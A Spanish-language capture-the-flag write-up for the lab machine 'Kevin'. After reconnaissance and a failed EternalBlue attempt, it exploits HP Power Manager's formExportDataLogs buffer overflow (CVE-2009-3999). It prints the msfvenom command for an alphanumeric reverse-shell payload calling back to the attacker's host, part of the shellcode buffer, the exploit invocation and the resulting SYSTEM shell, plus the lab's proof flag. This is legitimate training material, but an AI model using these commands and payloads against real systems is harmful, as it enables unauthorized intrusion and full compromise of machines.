the_open_door
café
ESEN

Kevin

Proving Grounds PracticeFácilWindows192.168.172.45

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#hp-power-manager#cve-2009-3999#buffer-overflow#goahead#eternalblue#ms17-010#msfvenom#alpha-mixed#windows-7
TL;DR. Kevin es una Windows 7 que expone un HP Power Manager sobre un GoAhead WebServer en el puerto 80. El SMB sale como vulnerable a MS17-010 en el escáner, pero el exploit no encuentra un named pipe accesible y se queda en nada. El camino bueno es el panel web: HP Power Manager 4.x arrastra un desbordamiento de búfer en formExportDataLogs (CVE-2009-3999) que se dispara sin autenticación. Generamos shellcode alfanumérico con msfvenom, lo metemos en el exploit y la conexión vuelve directamente como nt authority\system, porque el servicio corre con esa cuenta.

Reconocimiento

Escaneo inicial

Un ping de un solo paquete sirve para dos cosas: confirmar que la máquina responde y mirar el TTL.

ping -c 1 192.168.172.45
64 bytes from 192.168.172.45: icmp_seq=1 ttl=125 time=29.4 ms

El TTL llega con 125. Los sistemas Windows usan un TTL inicial de 128, y cada salto de routing lo decrementa en uno: 125 indica Windows a tres saltos (es un indicio, no una prueba, porque el TTL se puede manipular). Lanzamos un escaneo TCP completo a buen ritmo y luego identificamos versiones solo sobre los puertos abiertos.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.172.45
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  tcpwrapped
nmap -p80,135,139,445,3389,3573,49152,49153,49154,49155,49158,49160 -sCV 192.168.172.45 -oN targetedScan
PORT      STATE SERVICE      VERSION
80/tcp    open  http         GoAhead WebServer
|_http-title: HP Power Manager
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Ultimate N 7600 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  tcpwrapped
| rdp-ntlm-info:
|   Target_Name: KEVIN
|_  Product_Version: 6.1.7600
49152-49160/tcp open  msrpc   Microsoft Windows RPC
| smb-os-discovery:
|   OS: Windows 7 Ultimate N 7600 (Windows 7 Ultimate N 6.1)
|_  Computer name: kevin

El cartel lo deja claro: Windows 7 Ultimate N 7600 sin Service Pack, el equipo se llama kevin y sobre el 80 corre un HP Power Manager servido por GoAhead. Una versión de Windows tan antigua y sin parchear es, por sí sola, un titular.

SMB - TCP 445

Lo primero que sugiere un Windows 7 de 2009 es MS17-010 (EternalBlue). El script de nmap lo confirma.

nmap -p445 --script smb-vuln-ms08-067,smb-vuln-ms17-010 192.168.172.45
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143

Sobre el papel es un acceso directo a SYSTEM. En la práctica, no siempre. Lo guardamos como primera opción y seguimos enumerando el resto, que es lo correcto: no apostarlo todo a un único vector antes de tener el panorama completo.

HTTP - TCP 80

El puerto 80 presenta el login de HP Power Manager.

Página de login de HP Power Manager servida por GoAhead WebServer

Probamos el clásico admin/admin. El panel responde Invalid user name or password.

Intento de login admin/admin rechazado con 'Invalid user name or password'

Las credenciales por defecto no entran, pero la consola de alarmas es accesible sin autenticar y confirma que el producto está vivo y operativo. Eso ya es suficiente: con un producto y su versión, el siguiente paso no es adivinar contraseñas, sino mirar si esa pieza de software arrastra fallos conocidos.

Consola de HP Power Manager mostrando la sección Alarms con 'Remote Agent Not Connected' y 'UPS Not Connected'

Shell como SYSTEM

EternalBlue: el callejón sin salida

Antes de tocar la web, agotamos la opción de MS17-010. Preparamos un binario con msfvenom y un exploit de EternalBlue en un contenedor (Python 2 + impacket antiguo, para evitar problemas de dependencias) y lo lanzamos.

python send_and_execute.py 192.168.172.45 ../ms17-010.exe

el exploit MS17-010 reconoce el objetivo (Windows 7 Ultimate N 7600) pero se rinde con Not found accessible named pipe

Trying to connect to 192.168.172.45:445
Target OS: Windows 7 Ultimate N 7600
Not found accessible named pipe
Done

El exploit reconoce el objetivo pero se rinde con Not found accessible named pipe. EternalBlue necesita poder abrir un named pipe a través de la sesión nula de SMB para colocar la backdoor; si la configuración del recurso IPC$ no expone un pipe utilizable de forma anónima, el ataque no arranca por mucho que el parche falte. Que nmap marque VULNERABLE significa que el sistema operativo es susceptible, no que el exploit concreto vaya a tener éxito en esa instalación. Es la diferencia entre indicio y prueba: toca cambiar de vector.

HP Power Manager: búsqueda de exploit

Volvemos al puerto 80 y buscamos por el producto.

searchsploit 'HP Power Manager'

Resultados de searchsploit para HP Power Manager, con el módulo formExportDataLogs Remote Buffer Overflow

HP Power Manager - 'formExportDataLogs' Remote Buffer Overflow (Meta | cgi/remote/18015.rb
Hewlett-Packard (HP) Power Manager Administration - Remote Buffer Ov | windows/remote/16785.rb
Hewlett-Packard (HP) Power Manager Administration Power Manager Admi | windows/remote/10099.py

Hay dos familias de fallos en este producto: un desbordamiento en la página de login (Administration) y otro en formExportDataLogs. Este último es CVE-2009-3999: un desbordamiento de búfer de pila en goform/formExportDataLogs que se dispara con un parámetro fileName excesivamente largo y, lo más importante, no requiere autenticación. Encaja perfecto: tenemos la consola accesible pero sin login válido.

CVE-2009-3999: formExportDataLogs BoF

En lugar del módulo de Metasploit usamos una versión en Python ya preparada (repo, un fork del exploit de Muhammd). Conviene avisar de un detalle: el fichero se distribuye como CVE2009-2585_HP_Power_Manager_BoF.py, pero ese identificador es un error del autor; la vulnerabilidad que explota (formExportDataLogs) es CVE-2009-3999.

Repositorio de GitHub del exploit CVE2009-2585_HP_Power_Manager_BoF.py para HP Power Manager

git clone https://github.com/n4xh4ck5/CVE2009-2585_HP_Power_Manager_BoF

El exploit trae un hueco para pegar nuestro propio shellcode. Lo generamos con msfvenom respetando dos condiciones del campo vulnerable:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.239 LPORT=4444 EXITFUNC=thread \
  -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' \
  -e x86/alpha_mixed --platform windows -f python

Las dos condiciones son la clave del payload:

  • -e x86/alpha_mixed produce shellcode puramente alfanumérico. El fileName se acaba reflejando dentro de un mensaje de error tratado como cadena, así que un shellcode normal lo destrozarían los caracteres no imprimibles; un codificador alfanumérico esquiva ese tratamiento.
  • EXITFUNC=thread hace que, al terminar, solo muera el hilo desbordado y no todo el proceso del servicio. Así HP Power Manager sigue en pie y la shell no se cae con él.

La lista de bad chars (-b) excluye los bytes que rompen el desbordamiento (el nulo \x00, el salto de línea \x0a, el retorno \x0d y varios símbolos que el servidor interpreta). Pegamos el buf resultante en el exploit, detrás del egg b33fb33f.

Merece la pena abrir la caja negra, porque es justo lo que promete el #buffer-overflow de la máquina. Un desbordamiento de búfer de pila funciona así: el fileName que enviamos es más largo de lo que el búfer reserva en la pila y, al desbordarse, sobrescribe la dirección de retorno guardada; cuando la función termina, la CPU salta a la dirección que hayamos colocado ahí y ejecuta nuestro shellcode. El exploit ya trae resuelto el offset exacto hasta esa dirección de retorno y el salto, así que nosotros solo aportamos un shellcode que respete las restricciones del campo. El b33fb33f es el egg: un marcador reconocible que señala dónde empieza el shellcode; en esta familia de desbordamientos, cuando el espacio contiguo controlado es pequeño, se combina con un egghunter (un stub corto que rastrea la memoria del proceso buscando ese patrón b33fb33f y, al encontrarlo, salta al código que va justo detrás), lo que permite alojar el shellcode grande en otra región de memoria del propio servicio.

Edición del exploit en nano: comando msfvenom comentado y el buf con el shellcode alfanumérico

GNU nano 8.7            CVE2009-2585_HP_Power_Manager_BoF.py

PORT = 80

#msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.120 LPORT=443 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python

        egg="b33fb33f"
        buf= egg
        #Change the below payload with your data (LHOST)
        buf += b"\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e"
        buf += b"\x81\x76\x0e\x96\x95\x85\xb9\x83\xee\xfc\xe2\xf4"

Ponemos un listener a la escucha en el 4444 con penelope, un manejador de shells estilo netcat (un nc con rlwrap sirve igual):

penelope 4444

y lanzamos el exploit contra el objetivo.

python2 CVE2009-2585_HP_Power_Manager_BoF.py 192.168.172.45
[+] Payload Fired ... She will be back in less than a min ...
[+] Give me 30 Sec!

Menos de un minuto después, la conexión vuelve. Y vuelve directamente como nt authority\system: el servicio de HP Power Manager corre con la cuenta SYSTEM, así que el código que inyectamos hereda ese contexto. No hay escalada que hacer, el desbordamiento ya nos deja en lo más alto.

Listener de penelope recibiendo la reverse shell de KEVIN; whoami devuelve nt authority\system

proof.txt

Con la shell de SYSTEM, leemos la prueba y comprobamos de paso la IP y el nombre del equipo.

type C:\Users\Administrator\desktop\proof.txt && ipconfig && hostname && whoami
3bba4e17a6cfabf703c0525297e636fc
...
   IPv4 Address. . . . . . . . . . . : 192.168.172.45
kevin
nt authority\system

Lectura de proof.txt como nt authority\system, con ipconfig y hostname kevin

3bba4e17a6cfabf703c0525297e636fc

Cadena de ataque

nmap  ──>  80/tcp: HP Power Manager (GoAhead)  ──>  CVE-2009-3999 (formExportDataLogs BoF)
                                                            │  shellcode alfanumérico (alpha_mixed)
                                                            v
                                              reverse shell como nt authority\system
                                                            │
                                                            v
                                                        proof.txt

  [ camino descartado ]  445/tcp: MS17-010 "VULNERABLE" en nmap, pero sin named pipe accesible

Lecciones aprendidas

  • Que el escáner diga VULNERABLE no garantiza que el exploit funcione. MS17-010 salía marcado y aun así EternalBlue no encontró un named pipe accesible. Conviene distinguir el indicio (sistema operativo susceptible) de la prueba (exploit ejecutado con éxito), y no apostarlo todo a un solo vector.
  • Software de gestión viejo expuesto a la red es un objetivo de primer orden. HP Power Manager 4.x arrastra un desbordamiento de 2009 explotable sin credenciales; identificar el producto y su versión vale más que cualquier fuzzing de contraseñas.
  • El contexto del servicio decide el botín. El proceso vulnerable corría como SYSTEM, así que un único desbordamiento entrega el máximo privilegio sin pasos intermedios. Ejecutar servicios con cuentas de mínimo privilegio habría limitado el alcance del fallo.
  • El payload se ajusta al contexto del fallo. El campo se reflejaba como cadena en un mensaje de error, de ahí el shellcode alfanumérico (alpha_mixed) y el EXITFUNC=thread para no tumbar el servicio.
Cheatsheet de comandos 8 comandos

Repaso rápido